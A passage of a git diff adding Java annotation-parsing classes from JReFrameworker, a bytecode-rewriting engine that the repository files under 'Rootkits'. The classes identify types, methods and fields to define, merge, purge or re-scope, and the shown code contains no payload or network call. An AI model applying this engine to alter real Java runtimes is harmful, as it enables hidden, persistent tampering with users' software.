{ + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } + } + if(classNode != null){ + targetType = new DefineTypeAnnotation(phaseValue, classNode); + } + } + } + + public DefineTypeAnnotation getDefineTypeAnnotation() { + return targetType; + } + + public LinkedList getDefineMethodAnnotations() { + return targetMethods; + } + + public LinkedList getDefineFieldAnnotations() { + return targetFields; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/DefineVisibilityIdentifier.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/DefineVisibilityIdentifier.java new file mode 100644 index 0000000..f47c1b2 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/DefineVisibilityIdentifier.java @@ -0,0 +1,319 @@ +package com.jreframeworker.engine.identifiers; +import java.io.IOException; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.List; +import java.util.Set; + +import org.objectweb.asm.tree.AnnotationNode; +import org.objectweb.asm.tree.ClassNode; + +public class DefineVisibilityIdentifier { + + public static enum Visibility { + PRIVATE, PROTECTED, PUBLIC; + + public static Visibility getVisibilityFromString(String valueString) { + if(valueString.equalsIgnoreCase("private")){ + return Visibility.PRIVATE; + } else if(valueString.equalsIgnoreCase("protected")){ + return Visibility.PROTECTED; + } else if(valueString.equalsIgnoreCase("public")){ + return Visibility.PUBLIC; + } else { + throw new RuntimeException("Invalid visibility modifier"); + } + } + } + + public static Set getVisibilityTargets(ClassNode classNode) throws IOException { + DefineVisibilityIdentifier visibilityIdentifier = new DefineVisibilityIdentifier(classNode); + Set targets = new HashSet(); + for(DefineTypeVisibilityAnnotation annotation : visibilityIdentifier.getTargetTypes()){ + targets.add(annotation.getClassName()); + } + for(DefineMethodVisibilityAnnotation annotation : visibilityIdentifier.getTargetMethods()){ + targets.add(annotation.getClassName()); + } + for(DefineFieldVisibilityAnnotation annotation : visibilityIdentifier.getTargetFields()){ + targets.add(annotation.getClassName()); + } + return targets; + } + + public static Set getVisibilityTargets(ClassNode classNode, int phase) throws IOException { + DefineVisibilityIdentifier visibilityIdentifier = new DefineVisibilityIdentifier(classNode); + Set targets = new HashSet(); + for(DefineTypeVisibilityAnnotation annotation : visibilityIdentifier.getTargetTypes()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + for(DefineMethodVisibilityAnnotation annotation : visibilityIdentifier.getTargetMethods()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + for(DefineFieldVisibilityAnnotation annotation : visibilityIdentifier.getTargetFields()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + return targets; + } + + private static final String PHASE = "phase"; + private static final String TYPE = "type"; + private static final String FIELD = "field"; + private static final String METHOD = "method"; + private static final String VISIBILITY = "visibility"; + + public static class DefineTypeVisibilityAnnotation { + private int phase; + private String className; + private Visibility visibility; + + public DefineTypeVisibilityAnnotation(int phase, String className, Visibility visibility) { + this.phase = phase; + this.className = className; + this.visibility = visibility; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + + public Visibility getVisibility(){ + return visibility; + } + } + + public static class DefineMethodVisibilityAnnotation { + private int phase; + private String className; + private String methodName; + private Visibility visibility; + + public DefineMethodVisibilityAnnotation(int phase, String className, String methodName, Visibility visibility) { + this.phase = phase; + this.className = className; + this.methodName = methodName; + this.visibility = visibility; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + + public String getMethodName(){ + return methodName; + } + + public Visibility getVisibility(){ + return visibility; + } + } + + public static class DefineFieldVisibilityAnnotation { + private int phase; + private String className; + private String fieldName; + private Visibility visibility; + + public DefineFieldVisibilityAnnotation(int phase, String className, String fieldName, Visibility visibility) { + this.phase = phase; + this.className = className; + this.fieldName = fieldName; + this.visibility = visibility; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + + public String getFieldName(){ + return fieldName; + } + + public Visibility getVisibility(){ + return visibility; + } + } + + private LinkedList targetTypes = new LinkedList(); + private LinkedList targetMethods = new LinkedList(); + private LinkedList targetFields = new LinkedList(); + + @SuppressWarnings("rawtypes") + public DefineVisibilityIdentifier(ClassNode classNode) { + if (classNode.invisibleAnnotations != null) { + for (Object annotationObject : classNode.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotation.desc, false); + + // type visibilities + if(checker.isDefineTypeVisibilitiesAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractDefineTypeVisibilityAnnotationValues(classNode, annotationValue); + } + } + } + + } + } else if(checker.isDefineTypeVisibilityAnnotation()){ + extractDefineTypeVisibilityAnnotationValues(classNode, annotation); + } + + // method visibilities + else if(checker.isDefineMethodVisibilitiesAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractDefineMethodVisibilityAnnotationValues(classNode, annotationValue); + } + } + } + + } + } else if(checker.isDefineMethodVisibilityAnnotation()){ + extractDefineMethodVisibilityAnnotationValues(classNode, annotation); + } + + // field visibilities + else if(checker.isDefineFieldVisibilitiesAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractDefineFieldVisibilityAnnotationValues(classNode, annotationValue); + } + } + } + + } + } else if(checker.isDefineFieldVisibilityAnnotation()){ + extractDefineFieldVisibilityAnnotationValues(classNode, annotation); + } + } + } + } + + private void extractDefineFieldVisibilityAnnotationValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + String fieldValue = null; + Visibility visibilityValue = null; + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } else if(name.equals(FIELD)){ + fieldValue = (String) value; + } else if(name.equals(VISIBILITY)){ + String valueString = (String) value; + visibilityValue = Visibility.getVisibilityFromString(valueString); + } + } + if(typeValue != null && fieldValue != null && visibilityValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + targetFields.add(new DefineFieldVisibilityAnnotation(phaseValue, className, fieldValue, visibilityValue)); + } + } + } + + private void extractDefineMethodVisibilityAnnotationValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + String methodValue = null; + Visibility visibilityValue = null; + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } else if(name.equals(METHOD)){ + methodValue = (String) value; + } else if(name.equals(VISIBILITY)){ + String valueString = (String) value; + visibilityValue = Visibility.getVisibilityFromString(valueString); + } + } + if(typeValue != null && methodValue != null && visibilityValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + targetMethods.add(new DefineMethodVisibilityAnnotation(phaseValue, className, methodValue, visibilityValue)); + } + } + } + + private void extractDefineTypeVisibilityAnnotationValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + Visibility visibilityValue = null; + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } else if(name.equals(VISIBILITY)){ + String valueString = (String) value; + visibilityValue = Visibility.getVisibilityFromString(valueString); + } + } + if(typeValue != null && visibilityValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + targetTypes.add(new DefineTypeVisibilityAnnotation(phaseValue, className, visibilityValue)); + } + } + } + + public LinkedList getTargetTypes() { + return targetTypes; + } + + public LinkedList getTargetMethods() { + return targetMethods; + } + + public LinkedList getTargetFields() { + return targetFields; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/JREFAnnotationIdentifier.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/JREFAnnotationIdentifier.java new file mode 100644 index 0000000..0821cf7 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/JREFAnnotationIdentifier.java @@ -0,0 +1,279 @@ +package com.jreframeworker.engine.identifiers; +import org.objectweb.asm.AnnotationVisitor; +import org.objectweb.asm.ClassVisitor; +import org.objectweb.asm.Opcodes; + +public class JREFAnnotationIdentifier extends ClassVisitor { + + private static final String DEFINE_TYPE_ANNOTATION = "Lcom/jreframeworker/annotations/types/DefineType;"; + private static final String DEFINE_FIELD_ANNOTATION = "Lcom/jreframeworker/annotations/fields/DefineField;"; + private static final String DEFINE_METHOD_ANNOTATION = "Lcom/jreframeworker/annotations/methods/DefineMethod;"; + + private static final String MERGE_TYPE_ANNOTATION = "Lcom/jreframeworker/annotations/types/MergeType;"; + private static final String MERGE_METHOD_ANNOTATION = "Lcom/jreframeworker/annotations/methods/MergeMethod;"; + + private static final String PURGE_TYPE_ANNOTATION = "Lcom/jreframeworker/annotations/types/PurgeType;"; + private static final String PURGE_TYPES_ANNOTATION = "Lcom/jreframeworker/annotations/types/PurgeTypes;"; + private static final String PURGE_FIELD_ANNOTATION = "Lcom/jreframeworker/annotations/fields/PurgeField;"; + private static final String PURGE_FIELDS_ANNOTATION = "Lcom/jreframeworker/annotations/fields/PurgeFields;"; + private static final String PURGE_METHOD_ANNOTATION = "Lcom/jreframeworker/annotations/methods/PurgeMethod;"; + private static final String PURGE_METHODS_ANNOTATION = "Lcom/jreframeworker/annotations/methods/PurgeMethods;"; + + private static final String DEFINE_TYPE_FINALITY_ANNOTATION = "Lcom/jreframeworker/annotations/types/DefineTypeFinality;"; + private static final String DEFINE_TYPE_FINALITIES_ANNOTATION = "Lcom/jreframeworker/annotations/types/DefineTypeFinalities;"; + private static final String DEFINE_FIELD_FINALITY_ANNOTATION = "Lcom/jreframeworker/annotations/fields/DefineFieldFinality;"; + private static final String DEFINE_FIELD_FINALITIES_ANNOTATION = "Lcom/jreframeworker/annotations/fields/DefineFieldFinalities;"; + private static final String DEFINE_METHOD_FINALITY_ANNOTATION = "Lcom/jreframeworker/annotations/methods/DefineMethodFinality;"; + private static final String DEFINE_METHOD_FINALITIES_ANNOTATION = "Lcom/jreframeworker/annotations/methods/DefineMethodFinalities;"; + + private static final String DEFINE_TYPE_VISIBILITY_ANNOTATION = "Lcom/jreframeworker/annotations/types/DefineTypeVisibility;"; + private static final String DEFINE_TYPE_VISIBILITIES_ANNOTATION = "Lcom/jreframeworker/annotations/types/DefineTypeVisibilities;"; + private static final String DEFINE_FIELD_VISIBILITY_ANNOTATION = "Lcom/jreframeworker/annotations/fields/DefineFieldVisibility;"; + private static final String DEFINE_FIELD_VISIBILITIES_ANNOTATION = "Lcom/jreframeworker/annotations/fields/DefineFieldVisibilities;"; + private static final String DEFINE_METHOD_VISIBILITY_ANNOTATION = "Lcom/jreframeworker/annotations/methods/DefineMethodVisibility;"; + private static final String DEFINE_METHOD_VISIBILITIES_ANNOTATION = "Lcom/jreframeworker/annotations/methods/DefineMethodVisibilities;"; + + private boolean isDefineTypeAnnotation = false; + private boolean isDefineFieldAnnotation = false; + private boolean isDefineMethodAnnotation = false; + + private boolean isMergeTypeAnnotation = false; + private boolean isMergeMethodAnnotation = false; + + private boolean isPurgeTypeAnnotation = false; + private boolean isPurgeTypesAnnotation = false; + private boolean isPurgeFieldAnnotation = false; + private boolean isPurgeFieldsAnnotation = false; + private boolean isPurgeMethodAnnotation = false; + private boolean isPurgeMethodsAnnotation = false; + + private boolean isDefineTypeFinalityAnnotation = false; + private boolean isDefineTypeFinalitiesAnnotation = false; + private boolean isDefineFieldFinalityAnnotation = false; + private boolean isDefineFieldFinalitiesAnnotation = false; + private boolean isDefineMethodFinalityAnnotation = false; + private boolean isDefineMethodFinalitiesAnnotation = false; + + private boolean isDefineTypeVisibilityAnnotation = false; + private boolean isDefineTypeVisibilitiesAnnotation = false; + private boolean isDefineFieldVisibilityAnnotation = false; + private boolean isDefineFieldVisibilitiesAnnotation = false; + private boolean isDefineMethodVisibilityAnnotation = false; + private boolean isDefineMethodVisibilitiesAnnotation = false; + + public JREFAnnotationIdentifier() { + super(Opcodes.ASM5); + } + + @Override + public AnnotationVisitor visitAnnotation(String name, boolean visible) { + // System.out.println("Annotation: " + name); + if (name.equals(DEFINE_TYPE_ANNOTATION)) { + isDefineTypeAnnotation = true; + } else if (name.equals(DEFINE_FIELD_ANNOTATION)) { + isDefineFieldAnnotation = true; + } else if (name.equals(DEFINE_METHOD_ANNOTATION)) { + isDefineMethodAnnotation = true; + } + + else if (name.equals(MERGE_TYPE_ANNOTATION)) { + isMergeTypeAnnotation = true; + } else if (name.equals(MERGE_METHOD_ANNOTATION)) { + isMergeMethodAnnotation = true; + } + + else if (name.equals(PURGE_TYPE_ANNOTATION)) { + isPurgeTypeAnnotation = true; + } else if (name.equals(PURGE_TYPES_ANNOTATION)) { + isPurgeTypesAnnotation = true; + } else if (name.equals(PURGE_FIELD_ANNOTATION)) { + isPurgeFieldAnnotation = true; + } else if (name.equals(PURGE_FIELDS_ANNOTATION)) { + isPurgeFieldsAnnotation = true; + } else if (name.equals(PURGE_METHOD_ANNOTATION)) { + isPurgeMethodAnnotation = true; + } else if (name.equals(PURGE_METHODS_ANNOTATION)) { + isPurgeMethodsAnnotation = true; + } + + else if (name.equals(DEFINE_TYPE_FINALITY_ANNOTATION)) { + isDefineTypeFinalityAnnotation = true; + } else if (name.equals(DEFINE_TYPE_FINALITIES_ANNOTATION)) { + isDefineTypeFinalitiesAnnotation = true; + } else if (name.equals(DEFINE_FIELD_FINALITY_ANNOTATION)) { + isDefineFieldFinalityAnnotation = true; + } else if (name.equals(DEFINE_FIELD_FINALITIES_ANNOTATION)) { + isDefineFieldFinalitiesAnnotation = true; + } else if (name.equals(DEFINE_METHOD_FINALITY_ANNOTATION)) { + isDefineMethodFinalityAnnotation = true; + } else if (name.equals(DEFINE_METHOD_FINALITIES_ANNOTATION)) { + isDefineMethodFinalitiesAnnotation = true; + } + + else if (name.equals(DEFINE_TYPE_VISIBILITY_ANNOTATION)) { + isDefineTypeVisibilityAnnotation = true; + } else if (name.equals(DEFINE_TYPE_VISIBILITIES_ANNOTATION)) { + isDefineTypeVisibilitiesAnnotation = true; + } else if (name.equals(DEFINE_FIELD_VISIBILITY_ANNOTATION)) { + isDefineFieldVisibilityAnnotation = true; + } else if (name.equals(DEFINE_FIELD_VISIBILITIES_ANNOTATION)) { + isDefineFieldVisibilitiesAnnotation = true; + } else if (name.equals(DEFINE_METHOD_VISIBILITY_ANNOTATION)) { + isDefineMethodVisibilityAnnotation = true; + } else if (name.equals(DEFINE_METHOD_VISIBILITIES_ANNOTATION)) { + isDefineMethodVisibilitiesAnnotation = true; + } + + return null; + } + + public boolean isDefineTypeAnnotation() { + return isDefineTypeAnnotation; + } + + public boolean isDefineFieldAnnotation() { + return isDefineFieldAnnotation; + } + + public boolean isDefineMethodAnnotation() { + return isDefineMethodAnnotation; + } + + public boolean isMergeTypeAnnotation() { + return isMergeTypeAnnotation; + } + + public boolean isMergeMethodAnnotation() { + return isMergeMethodAnnotation; + } + + public boolean isPurgeTypeAnnotation() { + return isPurgeTypeAnnotation; + } + + public boolean isPurgeTypesAnnotation() { + return isPurgeTypesAnnotation; + } + + public boolean isPurgeFieldAnnotation() { + return isPurgeFieldAnnotation; + } + + public boolean isPurgeFieldsAnnotation() { + return isPurgeFieldsAnnotation; + } + + public boolean isPurgeMethodAnnotation() { + return isPurgeMethodAnnotation; + } + + public boolean isPurgeMethodsAnnotation() { + return isPurgeMethodsAnnotation; + } + + public boolean isDefineTypeFinalityAnnotation() { + return isDefineTypeFinalityAnnotation; + } + + public boolean isDefineTypeFinalitiesAnnotation() { + return isDefineTypeFinalitiesAnnotation; + } + + public boolean isDefineFieldFinalityAnnotation() { + return isDefineFieldFinalityAnnotation; + } + + public boolean isDefineFieldFinalitiesAnnotation() { + return isDefineFieldFinalitiesAnnotation; + } + + public boolean isDefineMethodFinalityAnnotation() { + return isDefineMethodFinalityAnnotation; + } + + public boolean isDefineMethodFinalitiesAnnotation() { + return isDefineMethodFinalitiesAnnotation; + } + + public boolean isDefineTypeVisibilityAnnotation() { + return isDefineTypeVisibilityAnnotation; + } + + public boolean isDefineTypeVisibilitiesAnnotation() { + return isDefineTypeVisibilitiesAnnotation; + } + + public boolean isDefineFieldVisibilityAnnotation() { + return isDefineFieldVisibilityAnnotation; + } + + public boolean isDefineFieldVisibilitiesAnnotation() { + return isDefineFieldVisibilitiesAnnotation; + } + + public boolean isDefineMethodVisibilityAnnotation() { + return isDefineMethodVisibilityAnnotation; + } + + public boolean isDefineMethodVisibilitiesAnnotation() { + return isDefineMethodVisibilitiesAnnotation; + } + + public boolean isPurgeAnnotation(){ + return isPurgeTypeAnnotation + || isPurgeTypesAnnotation + || isPurgeMethodAnnotation + || isPurgeMethodsAnnotation + || isPurgeFieldAnnotation + || isPurgeFieldsAnnotation; + } + + public boolean isFinalityAnnotation(){ + return isDefineTypeFinalityAnnotation + || isDefineTypeFinalitiesAnnotation + || isDefineFieldFinalityAnnotation + || isDefineFieldFinalitiesAnnotation + || isDefineMethodFinalityAnnotation + || isDefineMethodFinalitiesAnnotation; + } + + public boolean isVisibilityAnnotation(){ + return isDefineTypeVisibilityAnnotation + || isDefineTypeVisibilitiesAnnotation + || isDefineFieldVisibilityAnnotation + || isDefineFieldVisibilitiesAnnotation + || isDefineMethodVisibilityAnnotation + || isDefineMethodVisibilitiesAnnotation; + } + + public boolean isJREFAnnotation(){ + return isDefineTypeAnnotation + || isDefineFieldAnnotation + || isDefineMethodAnnotation + + || isMergeTypeAnnotation + || isMergeMethodAnnotation + + || isPurgeTypeAnnotation + || isPurgeTypesAnnotation + || isPurgeFieldAnnotation + || isPurgeFieldsAnnotation + || isPurgeMethodAnnotation + || isPurgeMethodsAnnotation + + || isDefineTypeFinalityAnnotation + || isDefineTypeFinalitiesAnnotation + || isDefineFieldFinalityAnnotation + || isDefineFieldFinalitiesAnnotation + || isDefineMethodFinalityAnnotation + || isDefineMethodFinalitiesAnnotation + + || isDefineTypeVisibilityAnnotation + || isDefineTypeVisibilitiesAnnotation + || isDefineFieldVisibilityAnnotation + || isDefineFieldVisibilitiesAnnotation + || isDefineMethodVisibilityAnnotation + || isDefineMethodVisibilitiesAnnotation; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/MergeIdentifier.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/MergeIdentifier.java new file mode 100644 index 0000000..0e1af53 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/MergeIdentifier.java @@ -0,0 +1,111 @@ +package com.jreframeworker.engine.identifiers; +import java.util.LinkedList; + +import org.objectweb.asm.tree.AnnotationNode; +import org.objectweb.asm.tree.ClassNode; +import org.objectweb.asm.tree.MethodNode; + +public class MergeIdentifier { + + private static final String PHASE = "phase"; + private static final String SUPERTYPE = "supertype"; + + private MergeTypeAnnotation mergeTypeAnnotation = null; + private LinkedList mergeMethodAnnotations = new LinkedList(); + + public MergeIdentifier(ClassNode classNode) { + // types + if (classNode.invisibleAnnotations != null) { + for (Object annotationObject : classNode.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotation.desc, false); + if(checker.isMergeTypeAnnotation()){ + extractMergeTypeAnnotationValues(classNode, annotation); + } + } + } + + // methods + for (Object o : classNode.methods) { + MethodNode methodNode = (MethodNode) o; + if (methodNode.invisibleAnnotations != null) { + for (Object annotationObject : methodNode.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotation.desc, false); + if(checker.isMergeMethodAnnotation()){ + extractMergeMethodAnnotationValues(methodNode, annotation); + } + } + } + } + } + + public static class MergeTypeAnnotation { + private int phase; + private String supertype; + + public MergeTypeAnnotation(int phase, String supertype) { + this.phase = phase; + this.supertype = supertype; + } + + public int getPhase(){ + return phase; + } + + public String getSupertype(){ + return supertype; + } + } + + public static class MergeMethodAnnotation { + private MethodNode methodNode; + + public MergeMethodAnnotation(MethodNode methodNode) { + this.methodNode = methodNode; + } + + public MethodNode getMethodNode(){ + return methodNode; + } + } + + private void extractMergeMethodAnnotationValues(MethodNode methodNode, AnnotationNode annotation){ + if(methodNode != null){ + mergeMethodAnnotations.add(new MergeMethodAnnotation(methodNode)); + } + } + + private void extractMergeTypeAnnotationValues(ClassNode classNode, AnnotationNode annotation){ + if(classNode != null){ + int phaseValue = 1; // default to 1 + String superTypeValue = null; + if(annotation.values != null){ + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(SUPERTYPE)){ + superTypeValue = ((String)value).replaceAll("\\.", "/"); + } + } + } + if(superTypeValue == null || superTypeValue.equals("")){ + superTypeValue = classNode.superName; + } + mergeTypeAnnotation = new MergeTypeAnnotation(phaseValue, superTypeValue); + } + } + + public MergeTypeAnnotation getMergeTypeAnnotation() { + return mergeTypeAnnotation; + } + + public LinkedList getMergeMethodAnnotations() { + return mergeMethodAnnotations; + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/PurgeIdentifier.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/PurgeIdentifier.java new file mode 100644 index 0000000..7fa92ef --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine/src/com/jreframeworker/engine/identifiers/PurgeIdentifier.java @@ -0,0 +1,290 @@ +package com.jreframeworker.engine.identifiers; +import java.io.IOException; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.List; +import java.util.Set; + +import org.objectweb.asm.tree.AnnotationNode; +import org.objectweb.asm.tree.ClassNode; + +public class PurgeIdentifier { + + /** + * Returns a collection of qualified classes that are marked to be purged or contain + * classes, fields, or methods marked to be purged + * @param classNode + * @return + * @throws IOException + */ + public static Set getPurgeTargets(ClassNode classNode) throws IOException { + PurgeIdentifier purgeIdentifier = new PurgeIdentifier(classNode); + Set targets = new HashSet(); + for(PurgeTypeAnnotation annotation : purgeIdentifier.getPurgeTypeAnnotations()){ + targets.add(annotation.getClassName()); + } + for(PurgeMethodAnnotation annotation : purgeIdentifier.getPurgeMethodAnnotations()){ + targets.add(annotation.getClassName()); + } + for(PurgeFieldAnnotation annotation : purgeIdentifier.getPurgeFieldAnnotations()){ + targets.add(annotation.getClassName()); + } + return targets; + } + + /** + * Returns a collection of qualified classes that are marked to be purged or contain + * classes, fields, or methods marked to be purged + * @param classNode + * @return + * @throws IOException + */ + public static Set getPurgeTargets(ClassNode classNode, int phase) throws IOException { + PurgeIdentifier purgeIdentifier = new PurgeIdentifier(classNode); + Set targets = new HashSet(); + for(PurgeTypeAnnotation annotation : purgeIdentifier.getPurgeTypeAnnotations()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + for(PurgeMethodAnnotation annotation : purgeIdentifier.getPurgeMethodAnnotations()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + for(PurgeFieldAnnotation annotation : purgeIdentifier.getPurgeFieldAnnotations()){ + if(annotation.getPhase() == phase){ + targets.add(annotation.getClassName()); + } + } + return targets; + } + + private static final String PHASE = "phase"; + private static final String TYPE = "type"; + private static final String FIELD = "field"; + private static final String METHOD = "method"; + + public static class PurgeTypeAnnotation { + private int phase; + private String className; + + public PurgeTypeAnnotation(int phase, String className) { + this.phase = phase; + this.className = className; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + } + + public static class PurgeMethodAnnotation { + private int phase; + private String className; + private String methodName; + + public PurgeMethodAnnotation(int phase, String className, String methodName) { + this.phase = phase; + this.className = className; + this.methodName = methodName; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + + public String getMethodName(){ + return methodName; + } + } + + public static class PurgeFieldAnnotation { + private int phase; + private String className; + private String fieldName; + + public PurgeFieldAnnotation(int phase, String className, String fieldName) { + this.phase = phase; + this.className = className; + this.fieldName = fieldName; + } + + public int getPhase(){ + return phase; + } + + public String getClassName(){ + return className; + } + + public String getFieldName(){ + return fieldName; + } + } + + private LinkedList purgeTypeAnnotations = new LinkedList(); + private LinkedList purgeMethodAnnotations = new LinkedList(); + private LinkedList purgeFieldAnnotations = new LinkedList(); + + @SuppressWarnings("rawtypes") + public PurgeIdentifier(ClassNode classNode) { + // a purge annotation must be on a type, putting it on a field or a + // method is silly since you created it just to purge it + if (classNode.invisibleAnnotations != null) { + for (Object annotationObject : classNode.invisibleAnnotations) { + AnnotationNode annotation = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotation.desc, false); + + // types + if(checker.isPurgeTypesAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractPurgeTypeAnnotationValues(classNode, annotationValue); + } + } + } + + } + } else if(checker.isPurgeTypeAnnotation()){ + extractPurgeTypeAnnotationValues(classNode, annotation); + } + + // methods + else if(checker.isPurgeMethodsAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractPurgeMethodValues(classNode, annotationValue); + } + } + } + } + } else if(checker.isPurgeMethodAnnotation()){ + extractPurgeMethodValues(classNode, annotation); + } + + // fields + else if(checker.isPurgeFieldsAnnotation()){ + for(Object value : annotation.values){ + if(value instanceof List){ + for(Object valueObject : (List) value){ + if(valueObject instanceof AnnotationNode){ + AnnotationNode annotationValue = (AnnotationNode) valueObject; + extractPurgeFieldValues(classNode, annotationValue); + } + } + } + } + } else if(checker.isPurgeFieldAnnotation()){ + extractPurgeFieldValues(classNode, annotation); + } + } + } + } + + private void extractPurgeFieldValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + String fieldValue = null; + + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } else if(name.equals(FIELD)){ + fieldValue = (String) value; + } + } + if(typeValue != null && fieldValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + purgeFieldAnnotations.add(new PurgeFieldAnnotation(phaseValue, className, fieldValue)); + } + } + } + + private void extractPurgeMethodValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + String methodValue = null; + + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } else if(name.equals(METHOD)){ + methodValue = (String) value; + } + } + if(typeValue != null && methodValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + purgeMethodAnnotations.add(new PurgeMethodAnnotation(phaseValue, className, methodValue)); + } + } + } + + private void extractPurgeTypeAnnotationValues(ClassNode classNode, AnnotationNode annotation) { + int phaseValue = 1; // default to 1 + String typeValue = null; + + if (annotation.values != null) { + for (int i = 0; i < annotation.values.size(); i += 2) { + String name = (String) annotation.values.get(i); + Object value = annotation.values.get(i + 1); + if(name.equals(PHASE)){ + phaseValue = (int) value; + } else if(name.equals(TYPE)){ + typeValue = ((String)value).replaceAll("\\.", "/"); + } + } + if(typeValue != null){ + String className = typeValue; + if(className.equals("")){ + className = classNode.superName; + } + purgeTypeAnnotations.add(new PurgeTypeAnnotation(phaseValue, className)); + } + } + } + + public LinkedList getPurgeTypeAnnotations() { + return purgeTypeAnnotations; + } + + public LinkedList getPurgeMethodAnnotations() { + return purgeMethodAnnotations; + } + + public LinkedList getPurgeFieldAnnotations() { + return purgeFieldAnnotations; + } + +} diff --git a/Cross 